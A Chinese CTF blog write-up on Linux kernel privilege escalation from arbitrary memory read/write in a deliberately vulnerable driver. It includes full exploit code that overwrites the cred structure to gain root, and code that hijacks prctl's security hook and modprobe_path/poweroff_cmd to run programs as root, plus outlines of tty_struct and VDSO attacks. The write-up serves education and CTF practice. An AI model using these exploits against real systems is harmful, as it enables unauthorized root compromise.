#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;        /* default keyring to attach requested keys to */
    struct key __rcu *session_keyring;  /* keyring inherited over fork */
    struct key  *process_keyring;       /* keyring private to this process */
    struct key  *thread_keyring;        /* keyring private to this thread */
    struct key  *request_key_auth;      /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;              /* subjective LSM security */
#endif
    struct user_struct *user;           /* real user ID subscription */
    struct user_namespace *user_ns;     /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;      /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;                /* RCU deletion hook */
};

我们只要将结构体的uid~fsgid(即前28个字节)全部覆写为0即可提权该线程(root uid0)

寻找cred结构体

那么首先,我们需要在内存中找到cred结构体的位置才能真正对其进行写操作。

task_struct里有个char comm[TASK_COMM_LEN];成员,可通过PRCTL函数中的PR_SET_NAME功能,设置为指定的一个小于16字节的字符串:

char target[16] = "This_is_target!";
prctl(PR_SET_NAME,target);

task_struct是通过调用kmem_cache_alloc_node()分配的,所以task_struct应该存在于内核的动态分配区域。因此我们的寻找范围应该在0xFFFF880000000000~0xFFFFC80000000000

size_t cred , real_cred , target_addr;
char *buff = malloc(0x1000);

for (size_t addr=0xFFFF880000000000; addr<0xFFFFC80000000000; addr+=0x1000)
{
    struct seek_args s_args;
    struct read_args r_args;

    s_args.new_pos = addr - 0x10;
    ioctl(fd, 0x8008FE0A, &s_args);

    r_args.buff = buff;
    r_args.count = 0x1000;
    ioctl(fd, 0xC008FE09, &r_args);

    int result = memmem(buff,0x1000,target,16);
    if (result)
    {
        printf("[+] Find try2findmesauce at : %p\n",result);
        cred = *(size_t *)(result - 0x8);
        real_cred = *(size_t *)(result - 0x10);
        if ((cred || 0xff00000000000000) && (real_cred == cred))
        {
            target_addr = addr+result-(long int)(buff);
            printf("[+] found task_struct 0x%x\n",target_addr);
            printf("[+] found cred 0x%lx\n",real_cred);
            break;
        }
    }
}

篡改cred结构体

我们在这里将结构体的uid~fsgid(即前28个字节)全部覆写为0

int root_cred[12];
memset((char *)root_cred,0,28);

struct seek_args s_args1;
struct write_args w_args;

s_args1.new_pos=cred-0x10;
ioctl(fd,0x8008FE0A,&s_args1);
w_args.buff=root_cred;
w_args.count=28;
ioctl(fd,0x8008FE0B,&w_args);

最终Exploit

Exploit里面有一些适配窝使用的Kernel调试框架而写的接口代码块,不会对利用方式以及利用结果产生影响~

//gcc ./exploit.c -o exploit -static -fno-stack-protector -masm=intel -lpthread
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/prctl.h>

void init(){
        setbuf(stdin,0);
        setbuf(stdout,0);
        setbuf(stderr,0);
}

size_t user_cs, user_rflags, user_ss, user_rsp;

struct init_args
{
    size_t size;
};

struct realloc_args
{
    int grow;
    size_t size;
};

struct read_args
{
    size_t buff;
    size_t count;
};

struct seek_args
{
    size_t new_pos;
};

struct write_args
{
    size_t buff;
    size_t count;
};

void save_user_status(){
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[+] Save User Status");
    printf("user_cs = %p\n",user_cs);
    printf("user_ss = %p\n",user_ss);
    printf("user_rsp = %p\n",user_rsp);
    printf("user_rflags = %p\n",user_rflags);
    puts("[+] Save Success");
}

void exploit(){
    int fd = open("/dev/vulnerable_device",0);
    if (fd < 0){
        puts("open fail!");
        return 0;
    }

    struct init_args i_args;
    struct realloc_args r_args;
    i_args.size=0x100;
    ioctl(fd, 0x8008FE07, &i_args);

    r_args.grow=0;
    r_args.size=0x100+1;
    ioctl(fd, 0x8008FE08,&r_args);
    puts("[+] We can read and write any memory! [+]");

    char target[16] = "This_is_target!";
    prctl(PR_SET_NAME,target);

    size_t cred = 0 , real_cred , target_addr;
    char *buff = malloc(0x1000);

    for (size_t addr=0xFFFF880000000000; addr<0xFFFFC80000000000; addr+=0x1000)
    {
        struct seek_args s_args;
        struct read_args r_args;

        s_args.new_pos = addr - 0x10;
        ioctl(fd, 0x8008FE0A, &s_args);

        r_args.buff = buff;
        r_args.count = 0x1000;
        ioctl(fd, 0xC008FE09, &r_args);

        int result = memmem(buff,0x1000,target,16);
        if (result)
        {
            printf("[+] Find try2findmesauce at : %p\n",result);
            cred = *(size_t *)(result - 0x8);
            real_cred = *(size_t *)(result - 0x10);
            if ((cred || 0xff00000000000000) && (real_cred == cred))
            {
                target_addr = addr+result-(long int)(buff);
                printf("[+] found task_struct 0x%x\n",target_addr);
                printf("[+] found cred 0x%lx\n",real_cred);
                break;
            }
        }
    }
    if (cred==0)
    {
        puts("[-] not found, try again! \n");
        exit(-1);
    }

    int root_cred[12];
    memset((char *)root_cred,0,28);

    struct seek_args s_args1;
    struct write_args w_args;

    s_args1.new_pos=cred-0x10;
    ioctl(fd,0x8008FE0A,&s_args1);
    w_args.buff=root_cred;
    w_args.count=28;
    ioctl(fd,0x8008FE0B,&w_args);

}

int main(int argc,char * argv[]){
    init();
    if(argc > 1){
        if(!strcmp(argv[1],"--breakpoint")){
            printf("[%p]\n",exploit);
        }
        return 0;
    }
    save_user_status();

    exploit();

    if(getuid() == 0) {
        printf("[!!!] Now! You are root! [!!!]\n");
        system("/bin/sh");
    }else{
        printf("[XXX] Fail! Something wrong! [XXX]\n");
    }
    return 0;
}

image-20200427195804716

姿势总结

  1. 这种提权姿势最核心的就是修改cred结构体。
  2. 除了任意地址读写,如果分配的大小合适,我们可以利用Use-After-Free直接控制整个结构体进行修改。
  3. 这种方案不受kaslr保护的影响!

第二种提权姿势-劫持prctl函数调用call_usermodehelper()

关于prctl函数

prctl函数在/v4.6-rc1/source/kernel/sys.c#L2075处实现

SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
        unsigned long, arg4, unsigned long, arg5)
{
    ......

    error = security_task_prctl(option, arg2, arg3, arg4, arg5);
    if (error != -ENOSYS)
        return error;

    ......

}

可以发现,当我们调用prctl时,它会调用security_task_prctl并传入五个参数。

security_task_prctl函数在/v4.6-rc1/source/security/security.c#L990处实现。

int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
             unsigned long arg4, unsigned long arg5)
{
    int thisrc;
    int rc = -ENOSYS;
    struct security_hook_list *hp;

    list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
        thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
        if (thisrc != -ENOSYS) {
            rc = thisrc;
            if (thisrc != 0)
                break;
        }
    }
    return rc;
}

函数会调用hp->hook.task_prctl,若我们拥有任意地址写的能力,我们就可以通过调试确定这个指针的位置,进而劫持这个指针执行任意代码。

此处有一个细节,传入该函数的五个参数中,第一个参数是int型参数,也就是说,我们所要执行的代码,其接受的第一个参数必须在32位范围内,超出的部分将被直接截断,这直接限制了我们在64位下开展相关利用!

关于call_usermodehelper函数

call_usermodehelper函数在/v4.6-rc1/source/kernel/kmod.c#L616处实现,此处我们不去深究它的具体实现,在官方文档中,这个函数的描述如下:

函数原型
int call_usermodehelper(char *path, char **argv, char **envp, int wait)
函数用途

准备并启动用户模式应用程序

函数参数
  1. @path:用户态可执行文件的路径
  2. @argv:进程的参数列表
  3. @envp:进程环境变量
  4. @wait: 是否为了这个应用程序进行阻塞,直到该程序运行结束并返回其状态。(当设置为UMH_NO_WAIT时,将不进行阻塞,但是如果程序发生问题,将不会收到任何有用的信息,这样就可以安全地从中断上下文中进行调用。)
函数备注

此函数等效于使用call_usermodehelper_setup()call_usermodehelper_exec()

简而言之,这个函数可以在内核中直接新建和运行用户空间程序,并且该程序具有root权限,因此只要将参数传递正确就可以执行任意命令(注意命令中的参数要用全路径,不能用相对路径)

⚠️:在讲述此种利用原理的原文章中提到在安卓利用时需要关闭SEAndroid机制。

这里可以注意到,尽管call_usermodehelper可以很方便的使我们拥有从任意地址读写到任意代码执行的能力,但是,它的第一个参数仍然是一个地址,在64位下,它依然会被截断!

间接调用call_usermodehelper函数

此处我们可以借鉴一下ROP的思路,如果能有其他的函数,它的内部调用了call_usermodehelper函数,且我们需要传入的第一个参数可以是32位值的话,我们就可以对其进行利用。

这里我们能找到一条利用链,首先是定义在/v4.6-rc1/source/kernel/reboot.c#L392run_cmd函数

static int run_cmd(const char *cmd)
{
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    int ret;
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    if (argv) {
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        argv_free(argv);
    } else {
        ret = -ENOMEM;
    }

    return ret;
}

但是,它的第一个参数仍是64-bit下的指针,于是我们继续寻找调用链。

可以看到定义在/v4.6-rc1/source/kernel/reboot.c#L427__orderly_poweroff调用了run_cmd且其接受的参数为一个布尔值:

static int __orderly_poweroff(bool force)
{
    int ret;

    ret = run_cmd(poweroff_cmd);

    if (ret && force) {
        pr_warn("Failed to start orderly shutdown: forcing the issue\n");

        /*
         * I guess this should try to kick off some daemon to sync and
         * poweroff asap.  Or not even bother syncing if we're doing an
         * emergency shutdown?
         */
        emergency_sync();
        kernel_power_off();
    }

    return ret;
}

那么我们只要能劫持poweroff_cmd,我们就可以执行任意命令

而我们恰好可以在/v4.6-rc1/source/kernel/reboot.c#L389处找到如下定义:

char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static const char reboot_cmd[] = "/sbin/reboot";

此处可以发现,reboot_cmd开启了static const标识符,这将导致我们无法通过劫持__orderly_reboot进行利用。

劫持prctl函数

我们首先确定prctl函数的地址。

image-20200430214434718

接下来我们写一个小的实例程序来确定hp->hook.task_prctl位置

#include <sys/prctl.h>  
#include <string.h>
#include <stdio.h>

void exploit(){
    prctl(0,0);
}

int main(int argc,char * argv[]){
    if(argc > 1){
        if(!strcmp(argv[1],"--breakpoint")){
            printf("[%p]\n",exploit);
        }
        return 0;
    }
    exploit();
    return 0;
}  

我们在security_task_prctl函数处下断,然后逐步跟进,直到遇到调用hp->hook.task_prctl处。

image-20200429234306286

因此我们需要劫持的目标就是0xFFFFFFFF81EB56B8

篡改reboot_cmd并调用__orderly_reboot

首先查看确定poweroff_cmd__orderly_poweroff的地址,结果发现内核中并没有该函数的地址,但是发现定义在/v4.6-rc1/source/kernel/reboot.c#L450poweroff_work_func会调用__orderly_poweroff,且接受的参数并没有被利用:

static void poweroff_work_func(struct work_struct *work)
{
    __orderly_poweroff(poweroff_force);
}

那么我们转而试图去确定poweroff_work_func函数的地址。

image-20200430233504732

接下来我们开始调试,分别在call_usermodehelperpoweroff_work_func处下断

我们事先编译一个rootme程序:

// gcc ./rootme.c -o rootme -static -fno-stack-protector

#include<stdlib.h>

int main(){
    system("touch /tmp/test");
    return 0;
}

我们使用的Exploit如下:

// gcc ./exploit.c -o exploit -static -fno-stack-protector -masm=intel -lpthread

int write_mem(int fd, size_t addr,char *buff,int count)
{
    struct seek_args s_args1;
    struct write_args w_args;
    int ret;

    s_args1.new_pos=addr-0x10;
    ret=ioctl(fd,0x8008FE0A,&s_args1);
    w_args.buff=buff;
    w_args.count=count;
    ret=ioctl(fd,0x8008FE0B,&w_args);
    return ret;
}

void exploit(){

    int fd = open("/dev/vulnerable_device",0);
    if (fd < 0){
        puts("open fail!");
        return 0;
    }

    struct init_args i_args;
    struct realloc_args r_args;
    i_args.size=0x100;
    ioctl(fd, 0x8008FE07, &i_args);

    r_args.grow=0;
    r_args.size=0x100+1;
    ioctl(fd, 0x8008FE08,&r_args);
    puts("[+] We can read and write any memory! [+]");

    size_t hook_task_prctl = 0xFFFFFFFF81EB56B8;
    size_t reboot_work_func_addr = 0xffffffff810a49a0;
    size_t reboot_cmd_addr = 0xffffffff81e48260;
    char* buff = malloc(0x1000);
    memset(buff,'\x00',0x1000);
    strcpy(buff,"/rootme\0");
    write_mem(fd,reboot_cmd_addr, buff,strlen(buff)+1);
    memset(buff,'\x00',0x1000);
    *(size_t *)buff = reboot_work_func_addr;
    write_mem(fd,hook_task_prctl,buff,8);

    if (fork()==0){
        printf("OK!");
        prctl(0);
        exit(-1);
    }
}

int main(int argc,char * argv[]){
    init();
    if(argc > 1){
        if(!strcmp(argv[1],"--breakpoint")){
            printf("[%p]\n",exploit);
        }
        return 0;
    }
    save_user_status();

    exploit();

    printf("[+] Done!\n");
    return 0;
}

image-20200430233838038

首先这里我们意外的发现,poweroff_work_func函数就已经直接调用run_cmd函数了,也就是说,poweroff_work_func函数其实就是__orderly_poweroff函数!

image-20200430234234368

接下来我们可以看到通过call_usermodehelper调用/rootme的具体参数布置。

最后,我们看到,我们事先布置的rootme程序已被执行

image-20200430234445168

最终提权

call_usermodeheler函数创建的新程序,实际上作为keventd内核线程的子进程运行,因此具有root权限。 新程序被扔到内核工作队列khelper中进行执行。

由于不好表征我们已经提权成功(可以选用反向shell),我们此处在文件系统的根目录设置一个flag文件,所属用户设置为root,权限设置为700。即在Init文件中添加

chown root /flag
chmod 700 /flag

接下来我们替换rootme程序为一个更改flag权限的程序

#include<stdlib.h>

int main(){
    printf("Exec command in root ing......");
    system("chmod 777 /flag");
    printf("Exec command end!");
    return 0;
}

再次运行Exploit

image-20200501002038008

姿势总结

  1. 这种提权姿势最核心的就是劫持hp->hook.task_prctl函数指针执行任意代码,第一个传入参数只能是一个32位的变量。
  2. call_usermodehelper可以很方便的以root权限启动任意程序,但是可能没有回显,因此可以考虑使用reverse_shell
  3. 这种方案不受SMEPSMAP保护的影响!

其他间接调用call_usermodehelper函数的函数

  1. __request_module函数

    函数实现于/v4.6-rc1/source/kernel/kmod.c#L124

    int __request_module(bool wait, const char *fmt, ...)
    {
    ......
    
    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
    
    atomic_dec(&kmod_concurrent);
    return ret;
    }
    EXPORT_SYMBOL(__request_module);
    

    call_modprobe实现于/v4.6-rc1/source/kernel/kmod.c#L69

    static int call_modprobe(char *module_name, int wait)
    {
    struct subprocess_info *info;
    static char *envp[] = {
        "HOME=/",
        "TERM=linux",
        "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
        NULL
    };
    
    char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
    if (!argv)
        goto out;
    
    module_name = kstrdup(module_name, GFP_KERNEL);
    if (!module_name)
        goto free_argv;
    
    argv[0] = modprobe_path;
    argv[1] = "-q";
    argv[2] = "--";
    argv[3] = module_name;  /* check free_modprobe_argv() */
    argv[4] = NULL;
    
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    if (!info)
        goto free_module_name;
    
    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    
    free_module_name:
    kfree(module_name);
    free_argv:
    kfree(argv);
    out:
    return -ENOMEM;
    }
    

    modprobe_path定义于/v4.6-rc1/source/kernel/kmod.c#L61

    /*
    modprobe_path is set via /proc/sys.
    */
    char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
    

    于是我们只需要劫持modprobe_path然后执行__request_module即可,但是,此函数除了我们劫持函数指针来主动调用以外,我们还可以使用运行一个错误格式的elf文件的方式来触发__request_module

    我们可以使用如下Exploit

    void exploit(){
    
       int fd = open("/dev/vulnerable_device",0);
       if (fd < 0){
           puts("open fail!");
           return 0;
       }
    
       struct init_args i_args;
       struct realloc_args r_args;
       i_args.size=0x100;
       ioctl(fd, 0x8008FE07, &i_args);
    
       r_args.grow=0;
       r_args.size=0x100+1;
       ioctl(fd, 0x8008FE08,&r_args);
       puts("[+] We can read and write any memory! [+]");
    
       size_t reboot_cmd_addr = 0xffffffff81e46ae0; // ffffffff81e46ae0 D modprobe_path
       char* buff = malloc(0x1000);
       memset(buff,'\x00',0x1000);
       strcpy(buff,"/rootme\0");
       write_mem(fd,reboot_cmd_addr, buff,strlen(buff)+1);
    
    }
    

    image-20200501140627176

  2. kobject_uevent_env函数

    函数实现于/v4.6-rc1/source/lib/kobject_uevent.c#L164

    /**
    * kobject_uevent_env - send an uevent with environmental data
    *
    * @action: action that is happening
    * @kobj: struct kobject that the action is happening to
    * @envp_ext: pointer to environmental data
    *
    * Returns 0 if kobject_uevent_env() is completed with success or the
    * corresponding error when it fails.
    */
    int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
               char *envp_ext[])
    {
    
       ......
    
    #ifdef CONFIG_UEVENT_HELPER
    /* call uevent_helper, usually only enabled during early boot */
    if (uevent_helper[0] && !kobj_usermode_filter(kobj)) {
        struct subprocess_info *info;
    
        retval = add_uevent_var(env, "HOME=/");
        if (retval)
            goto exit;
        retval = add_uevent_var(env,
                    "PATH=/sbin:/bin:/usr/sbin:/usr/bin");
        if (retval)
            goto exit;
        retval = init_uevent_argv(env, subsystem);
        if (retval)
            goto exit;
    
        retval = -ENOMEM;
        info = call_usermodehelper_setup(env->argv[0], env->argv,
                         env->envp, GFP_KERNEL,
                         NULL, cleanup_uevent_env, env);
        if (info) {
            retval = call_usermodehelper_exec(info, UMH_NO_WAIT);
            env = NULL; /* freed by cleanup_uevent_env */
        }
    }
    #endif
       ......
    }
    

    init_uevent_argv实现于/source/lib/kobject_uevent.c#L129

    static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
    {
    int len;
    
    len = strlcpy(&env->buf[env->buflen], subsystem,
              sizeof(env->buf) - env->buflen);
    if (len >= (sizeof(env->buf) - env->buflen)) {
        WARN(1, KERN_ERR "init_uevent_argv: buffer size too small\n");
        return -ENOMEM;
    }
    
    env->argv[0] = uevent_helper;
    env->argv[1] = &env->buf[env->buflen];
    env->argv[2] = NULL;
    
    env->buflen += len + 1;
    return 0;
    }
    

    uevent_helper定义于/v4.6-rc1/source/lib/kobject_uevent.c#L32

    #ifdef CONFIG_UEVENT_HELPER
    char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
    #endif
    

    CONFIG_UEVENT_HELPER被设置的情况下,我们只需要劫持uevent_helper然后执行kobject_uevent_env即可

  3. ocfs2_leave_group函数

    函数实现于/v4.6-rc1/source/fs/ocfs2/stackglue.c#L426

    /*
    * Leave the group for this filesystem.  This is executed by a userspace
    * program (stored in ocfs2_hb_ctl_path).
    */
    static void ocfs2_leave_group(const char *group)
    {
    int ret;
    char *argv[5], *envp[3];
    
    argv[0] = ocfs2_hb_ctl_path;
    argv[1] = "-K";
    argv[2] = "-u";
    argv[3] = (char *)group;
    argv[4] = NULL;
    
    /* minimal command environment taken from cpu_run_sbin_hotplug */
    envp[0] = "HOME=/";
    envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
    envp[2] = NULL;
    
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    if (ret < 0) {
        printk(KERN_ERR
               "ocfs2: Error %d running user helper "
               "\"%s %s %s %s\"\n",
               ret, argv[0], argv[1], argv[2], argv[3]);
    }
    }
    

    ocfs2_hb_ctl_path定义于/v4.6-rc1/source/fs/ocfs2/stackglue.c#L426

    static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
    

    我们只需要劫持ocfs2_hb_ctl_path然后执行ocfs2_leave_group即可

  4. nfs_cache_upcall函数

    函数实现于/v4.6-rc1/source/fs/nfs/cache_lib.c#L34

    int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
    {
    static char *envp[] = { "HOME=/",
        "TERM=linux",
        "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
        NULL
    };
    char *argv[] = {
        nfs_cache_getent_prog,
        cd->name,
        entry_name,
        NULL
    };
    int ret = -EACCES;
    
    if (nfs_cache_getent_prog[0] == '\0')
        goto out;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    /*
     * Disable the upcall mechanism if we're getting an ENOENT or
     * EACCES error. The admin can re-enable it on the fly by using
     * sysfs to set the 'cache_getent' parameter once the problem
     * has been fixed.
     */
    if (ret == -ENOENT || ret == -EACCES)
        nfs_cache_getent_prog[0] = '\0';
    out:
    return ret > 0 ? 0 : ret;
    }
    

    nfs_cache_getent_prog定义于/v4.6-rc1/source/fs/nfs/cache_lib.c#L23

    static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] = "/sbin/nfs_cache_getent";
    

    我们只需要劫持nfs_cache_getent_prog然后执行nfs_cache_upcall即可

  5. nfsd4_umh_cltrack_upcall函数

    函数实现于/v4.6-rc1/source/fs/nfsd/nfs4recover.c#L1198

    static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
    {
    char *envp[3];
    char *argv[4];
    int ret;
    
    if (unlikely(!cltrack_prog[0])) {
        dprintk("%s: cltrack_prog is disabled\n", __func__);
        return -EACCES;
    }
    
    dprintk("%s: cmd: %s\n", __func__, cmd);
    dprintk("%s: arg: %s\n", __func__, arg ? arg : "(null)");
    dprintk("%s: env0: %s\n", __func__, env0 ? env0 : "(null)");
    dprintk("%s: env1: %s\n", __func__, env1 ? env1 : "(null)");
    
    envp[0] = env0;
    envp[1] = env1;
    envp[2] = NULL;
    
    argv[0] = (char *)cltrack_prog;
    argv[1] = cmd;
    argv[2] = arg;
    argv[3] = NULL;
    
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    /*
     * Disable the upcall mechanism if we're getting an ENOENT or EACCES
     * error. The admin can re-enable it on the fly by using sysfs
     * once the problem has been fixed.
     */
    if (ret == -ENOENT || ret == -EACCES) {
        dprintk("NFSD: %s was not found or isn't executable (%d). "
            "Setting cltrack_prog to blank string!",
            cltrack_prog, ret);
        cltrack_prog[0] = '\0';
    }
    dprintk("%s: %s return value: %d\n", __func__, cltrack_prog, ret);
    
    return ret;
    }
    

    cltrack_prog定义于/v4.6-rc1/source/fs/nfsd/nfs4recover.c#L1069

    static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
    

    我们只需要劫持cltrack_prog然后执行nfsd4_umh_cltrack_upcall即可

  6. mce_do_trigger函数

    函数实现于/v4.6-rc1/source/arch/x86/kernel/cpu/mcheck/mce.c#L1328

    static void mce_do_trigger(struct work_struct *work)
    {
    call_usermodehelper(mce_helper, mce_helper_argv, NULL, UMH_NO_WAIT);
    }
    

    mce_helper定义于/source/arch/x86/kernel/cpu/mcheck/mce.c#L88

    static char          mce_helper[128];
    static char          *mce_helper_argv[2] = { mce_helper, NULL };
    

    我们只需要劫持mce_helper然后执行mce_do_trigger即可。

第三种提权姿势-劫持tty_struct结构体

关于tty_struct结构体

当我们在用户空间执行open("/dev/ptmx", O_RDWR)时,内核就会在内存中创建一个tty结构体

tty结构体在/v4.6-rc1/source/include/linux/tty.h#L259处定义

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;

    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;

    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;

    struct tty_struct *link;
    struct fasync_struct *fasync;
    int alt_speed;      /* For magic substitution of 38400 bps */
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
};

这里比较重要的是其中的tty_operations结构体,里面有大量的函数指针

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty, const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    const struct file_operations *proc_fops;
};

如果我们能够劫持其中的指针,我们就可以执行任意指令了。

由于此种方法其实是将任意地址读写转换为了任意地址执行,并没有真正进行提权,因此可以参考第二种姿势完成后续利用。

第四种提权姿势-劫持VDSO内存区

🚫:此利用路径已被修复,仅能在Linux Kernel 2.x及以下版本利用,故此处仅阐述原理,不做利用演示。

关于VDSO内存映射

VDSO(Virtual Dynamic Shared Object)内存映射是用户态的一块内存映射,这使得内核空间将可以和用户态程序共享一块物理内存,从而加快执行效率,这个内存映射也叫影子内存。当在内核态修改此部分内存时,用户态所访问到的数据同样会改变,这样的数据区在用户态有两块,分别是vdsovsyscall

image-20200428221343565

vsyscallVDSO都是为了避免产生传统系统调用模式INT 0x80/SYSCALL造成的内核空间和用户空间的上下文切换行为。vsyscall只允许4个系统调用,且在每个进程中静态分配了相同的地址;VDSO是动态分配的,地址随机,可提供超过4个系统调用,VDSOglibc库提供的功能。

VDSO本质就是映射到内存中的.so文件,对应的程序可以当普通的.so来使用其中的函数。

Kernel 2.x中,VDSO所在的页,在内核态是可读、可写的,在用户态是可读、可执行的。

VDSO在每个程序启动时加载,核心调用的是init_vdso_vars函数,在/v2.6.39.4/source/arch/x86/vdso/vma.c#L38处实现。

static int __init init_vdso_vars(void)
{
    int npages = (vdso_end - vdso_start + PAGE_SIZE - 1) / PAGE_SIZE;
    int i;
    char *vbase;

    vdso_size = npages << PAGE_SHIFT;
    vdso_pages = kmalloc(sizeof(struct page *) * npages, GFP_KERNEL);
    if (!vdso_pages)
        goto oom;
    for (i = 0; i < npages; i++) {
        struct page *p;
        p = alloc_page(GFP_KERNEL);
        if (!p)
            goto oom;
        vdso_pages[i] = p;
        copy_page(page_address(p), vdso_start + i*PAGE_SIZE);
    }

    vbase = vmap(vdso_pages, npages, 0, PAGE_KERNEL);
    if (!vbase)
        goto oom;

    if (memcmp(vbase, "\177ELF", 4)) {
        printk("VDSO: I'm broken; not ELF\n");
        vdso_enabled = 0;
    }

#define VEXTERN(x) \
    *(typeof(__ ## x) **) var_ref(VDSO64_SYMBOL(vbase, x), #x) = &__ ## x;
#include "vextern.h"
#undef VEXTERN
    vunmap(vbase);
    return 0;

 oom:
    printk("Cannot allocate vdso\n");
    vdso_enabled = 0;
    return -ENOMEM;
}
subsys_initcall(init_vdso_vars);

VDSO空间初始化时,VDSO同时映射在内核空间以及每一个进程的虚拟内存中,向进程映射时,内核将首先查找到一块用户态地址,然后将该块地址的权限设置为VM_READ|VM_EXEC|VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,然后利用remap_pfn_range将内核页映射过去。

若我们能覆盖VDSO的相应利用区,就能执行我们自定义的shellcode

此处利用可参考Bypassing SMEP Using vDSO Overwrites(使用vDSO重写来绕过SMEP防护)

参考链接

【原】Heap Spray原理浅析 – magictong

【原】linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用 – bsauce

【原】linux内核提权系列教程(2):任意地址读写到提权的4种方法 – bsauce

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注